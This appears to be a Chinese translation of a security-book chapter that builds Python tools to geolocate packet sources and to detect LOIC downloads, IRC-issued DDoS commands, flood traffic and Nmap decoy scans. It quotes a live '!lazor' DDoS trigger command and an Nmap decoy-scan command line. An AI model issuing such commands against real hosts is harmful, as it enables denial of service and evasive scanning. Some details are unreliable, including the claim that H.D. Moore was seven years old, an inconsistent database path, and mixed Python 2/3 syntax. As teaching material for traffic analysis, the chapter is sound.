# 第四章 網絡流量分析
本章內容 ：
1. 網絡協議流量定位地理位置
2. 發現惡意的DDos工具
3. 找到隱藏的網絡掃描
4. 分析Storm的Fast流量和Conficker蠕蟲的Domain流量
5. 理解TCP序列預測攻擊
6. 手工發包挫敗入侵檢測系統
> 比起被限制在單獨的維度中，武術更應該成為我們的生活方式，我們的理念，我們對孩子的教育，我們投入的工作，我們建立的關系網，我們每天所做的選擇的延伸。
> —Daniele Bolelli 第四度衛冕黑帶功夫秀
## 簡介：極光行動以及如何明顯的被避免
2010年1月14日，美國了解到一次針對Google,Adode和其他30多個全球100強公司的協調的，復雜的并且持久性的電腦攻擊。這次攻擊被稱為極光行動，在受感染的機器上發現了一個文件夾，這次攻擊使用了一個新的exploit，以前沒有被發現。盡管微軟知道這個漏洞的存在，但它錯誤的假定沒有人知道這個漏洞，所以不存在這種攻擊的檢測機制。為了攻擊他們的受害者，攻擊者通過發送一封給受害者包含惡意的javascript腳本并連接到惡意網站的郵件發起攻擊。當用戶點擊該鏈接他們就會下載一個惡意軟件并返回一個控制命令行到中國的服務器上。在哪里，攻擊者利用他們新獲得權限的電腦尋找在受害者系統上存儲的私人信息。
攻擊很明顯的出現了但是幾個月未被發現，并成功的滲透了100強公司的代碼庫。甚至是基本的網絡檢測軟件也能確認這次行為，為什么一個美國100強公司有幾個用戶連接到特定的臺灣站點然后再次轉到特定的中國服務器上？一個可視化的地圖顯示用戶連接臺灣和中國具有顯著的頻率可以允許網絡管理員調查這次攻擊，并在信息丟失前停止它。
`
在下面的章節中我們將研究利用Python分析不同的攻擊，為了快速分析大量的不同的數據點。讓我們開始通過建立一個腳本可視化分析流量來開始調查，那些受極光行動危害的100強管理員用過的方法。
## IP流量頭去哪了？---一個Python的回答
首先我們必須知道怎樣將網絡IP地址和物理位置相關聯起來。為此，我們將依賴一個免費的數據庫，MaxMind，MaxMind提供了一些精確的商業產品，他的開源GeoLiteCity數據庫在 http://www.maxmind.com/app/geolitecity 可獲得，為我們提供了足夠的精確度從IP地址到物理地址。一旦數據庫被下載，我們需要解壓它并把它移動到其他位置，如`/opt/Geoip/Gro.dat`。
```
analyst# wget http://geolite.maxmind.com/download/geoip/database/
GeoLiteCity.dat.gz
--2012-03-17 09:02:20-- http://geolite.maxmind.com/download/geoip/
database/GeoLiteCity.dat.gz
Resolving geolite.maxmind.com... 174.36.207.186
Connecting to geolite.maxmind.com|174.36.207.186|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9866567 (9.4M) [text/plain]
Saving to: 'GeoLiteCity.dat.gz'
100%[================================================
====================================================
==================================================>]
9,866,567 724K/s in 15s k
2012-03-17 09:02:36 (664 KB/s) – 'GeoLiteCity.dat.gz' saved
[9866567/9866567]
analyst#gunzip GeoLiteCity.dat.gz
analyst#mkdir /opt/GeoIP
analyst#mv GeoLiteCity.dat /opt/GeoIP/Geo.dat
```
利用我們的`GeoIP`數據庫，我們可以關聯一個IP地址到國家，郵政代碼，城市名和一般的經緯度坐標。所有的這一切將在IP力量分析中用到。
## 使用PyGeoIP關聯IP地址到物理地址
Jennifer Ennis制作了一個純Python模塊用來查詢GeoLiteCity數據庫。她的模塊能從 http://code.google.com/p/pygeoip/ 下載，安裝并導入到我們的Python腳本中。注意，我們將首先實例化一個`GeoIP`類，用本地的`GeoIP`的位置。接下來我們將為特殊的記錄指定IP地址查詢數據庫。它將返回一個記錄包含城市(`city`)，地區名(`region_name`)，郵編(`postal_code`)，國家(`country_name`)，經緯度(`latitude` and `longitude`)以及其他的確認信息。
```
import pygeoip
gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')
def printRecord(tgt):
rec = gi.record_by_addr(tgt)
city = rec['city']
region = rec['region_name']
country = rec['country_name']
long = rec['longitude']
lat = rec['latitude']
print('[*] Target: ' + tgt + ' Geo-located. ')
print('[+] '+str(city)+', '+str(region)+', '+str(country))
print('[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long))
tgt = '173.255.226.98'
printRecord(tgt)
```
運行我們的腳本，我們可以看到它產生輸出顯示目標IP的物理位置。現在我們可以將IP地址和物理位置關聯在一起，讓我們開始編寫我們的分析腳本。
```
analyst# python printGeo.py
[*] Target: 173.255.226.98 Geo-located.
[+] Jersey City, NJ, United States
[+] Latitude: 40.7245, Longitude: ?74.0621
```
## 使用Dpkt解析數據包
在下面的章節中，我們將主要使用`Scapy`數據包操作工具來分析和制作數據包。`Scapy`提供了強大的功能，新手往往會發現在Windows或者Mac OS X系統上安裝非常困難，相比之下，`Dpkt`則很簡單，可以從 http://code.google.com/p/dpkt/ 下載安裝。兩個都提供類似的功能，但是在工具集中它會比較有用。Dug Song最初創建`Dpkt`之后，Jon Oberheide增加了許多額外的功能用來解析不同的協議，如FTP，SCTP，BPG，IPv6，H.225。
例如，讓我們假設一下我們捕獲并記錄了一個我們想要分析的網絡數據包為pcap格式。`Dpkt`允許我們遍歷每一個捕獲的數據包并檢查每一個協議層。在這個例子中，雖然我們只是簡單的讀取先前捕獲的PCAP數據包，我們可以很容易的使用`pypcap`分析流量。可以從 http://code.google.com/p/pypcap/ 下載。為了讀取一個pcap文件，我們實例化文件，創建一個`pcap.reader`類對象，然后通過我們的對象函數`printPcap()`。這個對象`pcap`包含了一個數組，記錄著時間戳和數據包，`[timestamp, packet]`。我們可以把每個數據包分為以太層和IP層。注意，這里要使用異常處理，因為我們可能捕獲到第二層幀，不包含IP層，這有可能拋出一個異常。在這種情況下，我們使用異常處理捕獲異常并繼續下一個數據包。我們使用`socket`庫解析IP地址。最后我們打印每個數據包的源地址和目標地址。
```
import dpkt
import socket
def printPcap(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
print('[+] Src: ' + src + ' --> Dst: ' + dst)
except:
pass
def main():
f = open('data.pcap')
pcap = dpkt.pcap.Reader(f)
printPcap(pcap)
if __name__ == '__main__':
main()
```
運行該腳本，我們可以看到源地址和目標地址打印在屏幕上。這為我們提供了一定程度的分析，現在讓我們使用我們先前的腳本關聯IP地址和物理地址。
```
analyst# python printDirection.py
[+] Src: 110.8.88.36 --> Dst: 188.39.7.79
[+] Src: 28.38.166.8 --> Dst: 21.133.59.224
[+] Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: 1.103.102.104 --> Dst: 5.246.3.148
[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: 57.70.59.157 --> Dst: 89.233.181.180
```
改善我們的腳本，讓我們添加一個額外的函數`retGeoStr()`，通過IP地址返回物理地址。為此，我們將簡單的分解城市和3位數的國家代碼并將他們打印到屏幕上。如果函數拋出異常，我們將返回消息表示該地址未注冊。這種異常是地址不在`GeoIP`數據庫中或者是局域網IP地址，如`192.168.1.3`。
```
# coding=UTF-8
import dpkt
import socket
import pygeoip
import optparse
gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')
def retGeoStr(ip):
try:
rec = gi.record_by_name(ip)
city = rec['city']
country = rec['country_code3']
if city != '':
geoLoc = city + ', ' + country
else:
geoLoc = country
return geoLoc
except Exception as e:
return 'Unregistered'
def printPcap(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
print('[+] Src: ' + src + ' --> Dst: ' + dst)
print('[+] Src: ' + retGeoStr(src) + ' --> Dst: ' + retGeoStr(dst))
except:
pass
def main():
parser = optparse.OptionParser('usage%prog -p <pcap file>')
parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
(options, args) = parser.parse_args()
if options.pcapFile == None:
print(parser.usage)
exit(0)
pcapFile = options.pcapFile
f = open(pcapFile)
pcap = dpkt.pcap.Reader(f)
printPcap(pcap)
if __name__ == '__main__':
main()
```
運行我們的腳本，我們可以看到我們的數據包有前往韓國，倫敦，日本甚至是澳大利亞的。這為我們提供了強大的分析工具。然而，Google地球可能會提供更好的方法來顯示相同的信息。
```
analyst# python geoPrint.py -p geotest.pcap
[+] Src: 110.8.88.36 --> Dst: 188.39.7.79
[+] Src: KOR --> Dst: London, GBR
[+] Src: 28.38.166.8 --> Dst: 21.133.59.224
[+] Src: Columbus, USA --> Dst: Columbus, USA
[+] Src: 153.117.22.211 --> Dst: 138.88.201.132
[+] Src: Wichita, USA --> Dst: Hollywood, USA
[+] Src: 1.103.102.104 --> Dst: 5.246.3.148
[+] Src: KOR --> Dst: Unregistered
[+] Src: 166.123.95.157 --> Dst: 219.173.149.77
[+] Src: Washington, USA --> Dst: Kawabe, JPN
[+] Src: 8.155.194.116 --> Dst: 215.60.119.128
[+] Src: USA --> Dst: Columbus, USA
[+] Src: 133.115.139.226 --> Dst: 137.153.2.196
[+] Src: JPN --> Dst: Tokyo, JPN
[+] Src: 217.30.118.1 --> Dst: 63.77.163.212
[+] Src: Edinburgh, GBR --> Dst: USA
[+] Src: 57.70.59.157 --> Dst: 89.233.181.180
[+] Src: Endeavour Hills, AUS --> Dst: Prague, CZE
```
## 使用Python建立Google地圖
Google地球提供了一個虛擬地球儀，地圖，地理信息，顯示在專門的視圖上。雖然是專門的，但Google地球卻可以很容易的集成定制或者在全球追蹤。創建一個擴展名為KML的文本文件，允許用戶整合各種地方標識到Google地球中。KML文件包含了一個特定的XML結構，就像下面我們展示的那樣。在這里，我們展示了如何在地圖上使用名字和具體坐標繪制具體的位置標記。我們已經有了IP地址，地點的經緯度，這應該很容易集成到我們現有的腳本中生成KML文件。
```
<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document>
<Placemark>
<name>93.170.52.30</name>
<Point>
<coordinates>5.750000,52.500000</coordinates>
</Point>
</Placemark>
<Placemark>
<name>208.73.210.87</name>
<Point>
<coordinates>-122.393300,37.769700</coordinates>
</Point>
</Placemark>
</Document>
</kml>
```
讓我們快速建立一個函數`retKML()`，將IP作為輸入返回一個特殊的KML結構。請注意，首先我們要解決的是使用`pygeoip`獲得IP地址的經緯度。然后我們可以為這個地方建立我們的KML標記。如果我們遇到異常，例如“location not found,”，將返回空字符串。
```
def retKML(ip):
rec = gi.record_by_name(ip)
try:
longitude = rec['longitude']
latitude = rec['latitude']
kml = ('<Placemark>\n'
'<name>%s</name>\n'
'<Point>\n'
'<coordinates>%6f,%6f</coordinates>\n'
'</Point>\n'
'</Placemark>\n'
) % (ip,longitude, latitude)
return kml
except Exception, e:
return ''
```
整合所有的功能到我們原始的腳本。我們現在添加特定的KML頭和尾。對于每一個數據包，我們創建源地址和目標地址的KML標記，并在地圖上繪制。這樣就產生了一個美麗的網絡流量可視化圖。想想，所有擴展這些的方法都是有用的。你可能希望用不同的圖片標記不同類型的流量，特定的源地址和目的地址TCP端口(比如說web80端口和25郵件端口)。可以參考Google的KML文檔在網站：
https://developers.google.com/kml/documentation/ 并想想我們擴展我們可視化視圖的目的。
```
# coding=UTF-8
import dpkt
import socket
import pygeoip
import optparse
gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')
def retKML(ip):
rec = gi.record_by_name(ip)
try:
longitude = rec['longitude']
latitude = rec['latitude']
kml = ('<Placemark>\n'
'<name>%s</name>\n'
'<Point>\n'
'<coordinates>%6f,%6f</coordinates>\n'
'</Point>\n'
'</Placemark>\n'
) % (ip,longitude, latitude)
return kml
except Exception, e:
return ''
def plotIPs(pcap):
kmlPts = ''
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
srcKML = retKML(src)
dst = socket.inet_ntoa(ip.dst)
dstKML = retKML(dst)
kmlPts = kmlPts + srcKML + dstKML
except:
pass
return kmlPts
def main():
parser = optparse.OptionParser('usage%prog -p <pcap file>')
parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
(options, args) = parser.parse_args()
if options.pcapFile == None:
print parser.usage
exit(0)
pcapFile = options.pcapFile
f = open(pcapFile)
pcap = dpkt.pcap.Reader(f)
kmlheader = '<?xml version="1.0" encoding="UTF-8"?>\
\n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n'
kmlfooter = '</Document>\n</kml>\n'
kmldoc=kmlheader+plotIPs(pcap)+kmlfooter
print(kmldoc)
if __name__ == '__main__':
main()
```
運行我們的腳本，我們將輸出內容到KML文件中，用Google地球打開這個文件，我們可以看到我們數據包的源地址和目的地。在下一節中，我們將使用我們的分析技能偵查Anonymous組織在全球的威脅。
## 匿名真的是匿名了么？分析LOIC流量
2010年12月，荷蘭警方逮捕了一名青少年參與分布式拒絕服務攻擊一些反對維基解密的公司。不到一個月，FBI發處了40多份搜查令，警方逮捕了同樣的五人。松散的黑客組織Anonymous下載并使用LOIC進行分布式拒絕服務攻擊犯罪。
LOIC發送大量的TCP和UDP流量洪水攻擊目標。一個單義的LOIC實例對目標消耗的資源很小，然而，當成千上萬的人同時使用時他們有能力快速耗盡目標資源。
LOIC提供兩種操作模式，第一中模式中，用戶可以輸入目標地址，第二種模式稱為HIVEMIND，用戶連接LOIC到一個目標的IRC服務將進行自動攻擊。
## 使用Dpkt找到誰在下載LOIC
在進行操作時，Anonymous成員發布了一個問題文檔，關于LOIC常見的問題的回答。常見為問題有：使用LOIC我們會被逮捕嗎？可能性幾乎為零。只要說是中了病毒或者干脆否認使用了他，在這一節中，讓我們通過良好的分析數據包的知識并編寫工具分析誰下載和使用了LOIC工具。
互聯網上多個源提供LOIC的下載，一些更為可信。可以從sourceforge主機下載 http://sourceforge.net/projects/loic/ ，讓我們從這下載，下載前，打開`tcpdump`會話，過濾80端口，并打印結果，你可以看到一下結果。
```
analyst# tcpdump –i eth0 –A 'port 80'
17:36:06.442645 IP attack.61752 > downloads.sourceforge.net.http:
Flags [P.], seq 1:828, ack 1, win 65535, options [nop,nop,TS val
488571053 ecr 3676471943], length 827E..o..@.@........".;.8.P.KC.T
.c................."
..GET /project/loic/loic/loic-1.0.7/LOIC 1.0.7.42binary.zip
?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Floic%2F&ts=1330821290
HTTP/1.1
Host: downloads.sourceforge.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3)
AppleWebKit/534.53.11 (KHTML, like Gecko) Version/5.1.3
Safari/534.53.10
```
第一部分我們是發現LOIC工具，我們將編寫一個Python腳本來解析HTTP流量，審查HTTP的GET頭是否有LOIC的ZIP二進制。為此，我們將使用`Dpkt`庫。為了檢查HTTP流量，我們必須提取以太網協議，IP協議和TCP協議。最后是在TCP協議之上的HTTP協議。如果HTTP層用GET方法，我們解析特定的URL的GET請求。如果URl包含`.zip`和LOIC在名稱中，我們打印消息在屏幕上，顯示下載LOIC的IP。折可以幫助聰明的管理員證明用戶在下載LOIC而不是因為病毒感染。接合第三章的下載法庭取證分析，我們可以確認用戶下載了LOIC工具。
```
import dpkt
import socket
def findDownload(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
tcp = ip.data
http = dpkt.http.Request(tcp.data)
if http.method == 'GET':
uri = http.uri.lower()
if '.zip' in uri and 'loic' in uri:
print('[!] ' + src + ' Downloaded LOIC.')
except:
pass
f = open('LOIC.pcap')
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)
```
運行該腳本，我們可以看到已經有用戶下載了LOIC工具。
```
analyst# python findDownload.py
[!] 192.168.1.3 Downloaded LOIC.
[!] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.
```
## 解析HIVE模式的IRC命令
簡單的下載LOIC工具不一定的覅違法的。然而，連接到Anonymous的HIVE并啟動分布式拒絕服務攻擊進行攻擊確實違反了幾個州的法律。因為Anonymous是一個松散的志同道合的人而不是由個人領導的黑客組織。任何人都可以建議對目標發起攻擊。為了開始發動一次攻擊，Anonymous成員登陸到一個特定的IRC服務器并發送攻擊指令。例如`!lazor targetip=66.211.169.66 message=test_test port=80 method=tcp wait=false random=true start`。任何用LOIC的HIVEMIND模式連接到IRC的成員都能立即開始攻擊目標。在這種情況下，可以指定任何攻擊目標。
在`tcpdump`中檢查具體的攻擊信息流量，我們可以看到特定的用戶anonOps發送了一個開始攻擊命令。接下來，IRC服務器發送發送命令到連接的LOIC客戶端上開始攻擊。想像一下在一個很長的包含幾個小時或者幾天的網絡流量的pcap文件中找到幾個特定的數據包。
```
analyst# sudo tcpdump -i eth0 -A 'port 6667'
08:39:47.968991 IP anonOps.59092 > ircServer.ircd: Flags [P.], seq
3112239490:3112239600, ack 110628, win 65535, options [nop,nop,TS
val 437994780 ecr 246181], length 110
E...5<@.@..9.._..._............$....3......
..E.....TOPIC #LOIC:!lazor targetip=66.211.169.66 message=test_test
port=80 method=tcp wait=false random=true start
08:39:47.970719 IP ircServer.ircd > loic-client.59092: Flags [P.],
seq 1:139, ack 110, win 453, options [nop,nop,TS val 260262 ecr
437994780], length 138
E....&@.@.r3.._..._........$.........k.....
......E.:kevin!kevin@anonOps TOPIC #loic:!lazor targetip=66.211.169.66
message=test_test port=80 method=tcp wait=false random=true start
```
在大多數情況下，IRC服務使用的是TCP 6667端口，消息到IRC服務器的目的地至是TCP的6667端口，從IRC返回的消息的源地址端口應該是TCP的6667端口。讓我們利用這些知識來編寫我們的HIVEMIND解析函數`findHivemind()`。這一次，我們提取以太網協議，IP協議和TCP協議。提取TCP協議后，我們在探究特定的源和目的端口。如果看到命令`!lazor`帶有目的端口6667，我們就可以確認成員發送了攻擊命令。如果我們看到`!lazor`帶有源目的地端口6667，我們就可以確定服務器發送了成員攻擊命令。
```
import dpkt
import socket
def findHivemind(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
sport = tcp.sport
if dport == 6667:
if '!lazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued by: '+src)
print('[+] Target CMD: ' + tcp.data)
if sport == 6667:
if '!lazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued to: '+src)
print('[+] Target CMD: ' + tcp.data)
except:
pass
```
## 識別正在進行的DDos攻擊
有了定位下載LOIC工具和發現HIVE命令的功能，最后一項任務是：識別正在進行的DDos攻擊。當一個用戶開始了一個LOIC攻擊，它將發送大量的TCP數據包給目標主機。這些數據包，接合從HIVE來的集體的數據包基本耗盡了目標主機的資源。我們開始一個`tcpdump`會話看著每0.00005秒發送一個小的數據包。這種行為不斷的重復直到攻擊結束。注意，目標無法相應，每次只就收5個數據包。
```
analyst# tcpdump –i eth0 'port 80'
06:39:26.090870 IP loic-attacker.1182 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.090976 IP loic-attacker.1186 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.090981 IP loic-attacker.1185 >loic-target.www: Flags [P.], seq
301:313, ack 1, win
64240, length 12
06:39:26.091036 IP loic-target.www > loic-attacker.1185: Flags [.], ack
313, win 14600, lengt
h 0
06:39:26.091134 IP loic-attacker.1189 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.091140 IP loic-attacker.1181 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.091142 IP loic-attacker.1180 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
64240, length 12
06:39:26.091225 IP loic-attacker.1184 >loic-target.www: Flags [P.], seq
336:348, ack 1, win
<.. REPEATS 1000x TIMES..>
```
讓我們快速編寫一個發現正在進行DDos攻擊的函數。為了發現一個攻擊，我們將設置一個數據包閥值。如果一個用戶到特定地址的的數據包數量超過該閥值，這表明我們將把它當做一個攻擊做進一步調查。但是，這并不能確定用戶發起了攻擊。然而，當用戶下載了LOIC工具，隨后接受了HIVE指令，然后是實際的攻擊，這足以提供證據用戶參與了一次匿名的DDos攻擊。
```
import dpkt
import socket
THRESH = 10000
def findAttack(pcap):
pktCount = {}
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
if dport == 80:
stream = src + ':' + dst
if pktCount.has_key(stream):
pktCount[stream] = pktCount[stream] + 1
else:
pktCount[stream] = 1
except:
pass
for stream in pktCount:
pktsSent = pktCount[stream]
if pktsSent > THRESH:
src = stream.split(':')[0]
dst = stream.split(':')[1]
print('[+] '+src+' attacked '+dst+' with ' + str(pktsSent) + ' pkts.')
```
將我們的代碼放在一起并加一些選項解析，我們的腳本現在可以檢測下載，監聽HIVE指令并檢測攻擊。
```
# coding=UTF-8
import dpkt
import socket
import optparse
def findDownload(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
tcp = ip.data
http = dpkt.http.Request(tcp.data)
if http.method == 'GET':
uri = http.uri.lower()
if '.zip' in uri and 'loic' in uri:
print('[!] ' + src + ' Downloaded LOIC.')
except:
pass
THRESH = 10000
def findAttack(pcap):
pktCount = {}
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
if dport == 80:
stream = src + ':' + dst
if pktCount.has_key(stream):
pktCount[stream] = pktCount[stream] + 1
else:
pktCount[stream] = 1
except:
pass
for stream in pktCount:
pktsSent = pktCount[stream]
if pktsSent > THRESH:
src = stream.split(':')[0]
dst = stream.split(':')[1]
print('[+] '+src+' attacked '+dst+' with ' + str(pktsSent) + ' pkts.')
def findHivemind(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
tcp = ip.data
dport = tcp.dport
sport = tcp.sport
if dport == 6667:
if '!lazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued by: '+src)
print('[+] Target CMD: ' + tcp.data)
if sport == 6667:
if '!lazor' in tcp.data.lower():
print('[!] DDoS Hivemind issued to: '+src)
print('[+] Target CMD: ' + tcp.data)
except:
pass
def main():
parser = optparse.OptionParser("usage%prog -p<pcap file> -t <thresh>")
parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
parser.add_option('-t', dest='thresh', type='int', help='specify threshold count ')
(options, args) = parser.parse_args()
if options.pcapFile == None:
print(parser.usage)
exit(0)
if options.thresh != None:
THRESH = options.thresh
pcapFile = options.pcapFile
f = open(pcapFile)
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)
findHivemind(pcap)
findAttack(pcap)
if __name__ == '__main__':
main()
```
運行代碼，我們可以看到結果。四個用戶下載了工具。接著，不同的用戶發送攻擊命令給另外兩個連接著的攻擊者，最后，這兩個攻擊者實際參與了攻擊。因此現在的腳本識別整個DDos攻擊行動。雖然入侵檢測系統可以檢測類似的活動，但編寫一個自定義腳本做的更好。在下面的章節中，我們看看一個自定義腳本，一個七歲小孩編寫的用來保護五角大樓的腳本。
```
analyst# python findDDoS.py –p traffic.pcap
[!] 192.168.1.3 Downloaded LOIC.
[!] 192.168.1.5 Downloaded LOIC.
[!] 192.168.1.7 Downloaded LOIC.
[!] 192.168.1.9 Downloaded LOIC.
[!] DDoS Hivemind issued by: 192.168.1.2
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141 message=test_test port=80 method=tcp wait=false random=true start
[!] DDoS Hivemind issued to: 192.168.1.3
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141 message=test_test port=80 method=tcp wait=false random=true start
[!] DDoS Hivemind issued to: 192.168.1.5
[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141 message=test_test port=80 method=tcp wait=false random=true start
[+] 192.168.1.3 attacked 192.168.95.141 with 1000337 pkts.
[+] 192.168.1.5 attacked 192.168.95.141 with 4133000 pkts.
```
## H. D. Moore怎樣解決五角大樓的困境
1999年末，美國五角大樓的計算機網絡面臨著嚴重的危機。美國國防總部，五角大樓宣布正遭受著一系列的組織協調的復雜的攻擊。最新發布的工具Nmap，使得任何人掃描網絡的服務和漏洞變得更容易了。五角大樓擔心一些攻擊者使用Nmap識別五角大樓龐大的計算機網絡的漏洞地圖。
檢測Nmap掃描很容易，關聯攻擊者的地址，然后找到物理地址。然而，攻擊者在Nmap中使用高級選項，而不是從特定的攻擊者地址發動掃描，其中包括似乎來自世界各地的掃描的誘餌。五角大樓專家很難分清時間掃描和誘餌掃描之間的關系。
當專家研究了大量的理論方法分許數據的記錄，最后7歲的H.D.Moore，傳奇框架Metasploit框架的創造者，給出了一個可行的解決方案。他建議使用所有進來的數據包的TTL字段。生存時間(TTL)字段用來確認一個IP數據包多跳可以到達目的地。數據包沒通過一個路由器，路由器就減少一個TTL字段的值。Moore意識到這可能是確認掃描數據包來源的極好的方法。對于記錄的每一個Nmap掃描的源地址，他發送了一個ICMP數據包確認和掃描機器之間的條數。然后用這個信息來區分是攻擊者還是誘餌。顯然，只有攻擊者才有正確的TTL值，而誘餌沒有正確的TTL值。他的方案可行！五角大樓要求Moore在1999的SANS會議上展示自己的工具和研究。Moore稱他的工具為Nlog，因為它記錄了Nmap的各種掃描信息。
在下面的章節中，我們將使用Python重建Moore的分析過程和創建他的工具Nlog。你會希望了解一個7歲少年十多年前的想法：簡單，優雅的解決檢測攻擊的方案。
## 理解TTL字段
在編寫腳本之前，我們來接是一下IP數據包的TTL字段。TTL字段包含8個bit，有效值0到255。當計算機發送一個IP數據包時，它設置TTL字段為可以到達目的地的最大跳，每個路由設備改變數據包的TTL字段值。如果TTL字段為零，路由器拋棄這個數據包防止無限循環路由。比如說，如果我ping地址`8.8.8.8`，初始化TTL為64它將返回TTL的值為53我們可以看到數據包穿過了11個路由設備。
```
target# ping –m 64 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=53 time=48.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=53 time=49.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=53 time=59.4 ms
```
引進誘餌掃描的是1.6版本，誘餌數據包的TTL不是隨機的也不是正確的。未能正確計算TTL允許Moore確認這些數據包。顯然，Nmap的代碼從1999年得到顯著的增長和發展，在最近的版本中，Nmap使用下面的算法隨機的設置TTL。該算法隨機的產生一個TTL，用戶也能自己指定TTL的值。
```
/* Time to live */
if (ttl == -1) {
myttl = (get_random_uint()% 23) + 37;
} else {
myttl = ttl;
}
```
為了運行一個Nmap誘餌掃描，我們在IP地址后面加上參數`-D`，在這種情況下，我們將使用地址`8.8.8.8`作為誘餌地址，此外，我們自己指定TTL的值為13，因此，下面我們用TTL為13的誘餌地址為`8.8.8.8`掃描`192.168.1.7`。
```
attacker$ nmap 192.168.1.7 -D 8.8.8.8 -ttl 13
Starting Nmap 5.51 (http://nmap.org) at 2012-03-04 14:54 MST
Nmap scan report for 192.168.1.7
Host is up (0.015s latency).
<..SNIPPED..>
```
在目標`192.168.1.7`上，我們在詳細模式下打開`tcpdump`(`-v`)，禁用名稱解析(`-nn`)，過濾特定的地址`8.8.8.8`(`'host 8.8.8.8'`)，我們看到Nmap成功的用TTL為13，誘餌地址為`8.8.8.8`發送了數據包。
```
target# tcpdump –i eth0 –v –nn 'host 8.8.8.8'
8.8.8.8.42936 > 192.168.1.7.6: Flags [S], cksum 0xcae7 (correct), seq
690560664, win 3072, options [mss 1460], length 0
14:56:41.289989 IP (tos 0x0, ttl 13, id 1625, offset 0, flags [none],
proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.1009: Flags [S], cksum 0xc6fc (correct),
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.289996 IP (tos 0x0, ttl 13, id 16857, offset 0, flags
[none], proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.1110: Flags [S], cksum 0xc697 (correct),
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.290003 IP (tos 0x0, ttl 13, id 41154, offset 0, flags [none],
proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.2601: Flags [S], cksum 0xc0c4 (correct),
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.307069 IP (tos 0x0, ttl 13, id 63795, offset 0, flags [none],
proto TCP (6), length 44)
```
## 用Scapy解析TTL字段
讓我們開始編寫我們的腳本來打印源地址和數據包里面的TTL值。這一點上，在本章的剩余部分我們會使用`Scapy`庫，你也可以簡單的使用Dpkt庫來編寫這個代碼。我們將建立一個函數`testTTL()`來嗅探每一個經過的數據包，檢查數據包的IP層，抽取IP地址和TTL字段并打印字段在屏幕上。
```
from scapy.all import *
def testTTL(pkt):
try:
if pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
print '[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl
except:
pass
def main():
sniff(prn=testTTL, store=0)
if __name__ == '__main__':
main()
```
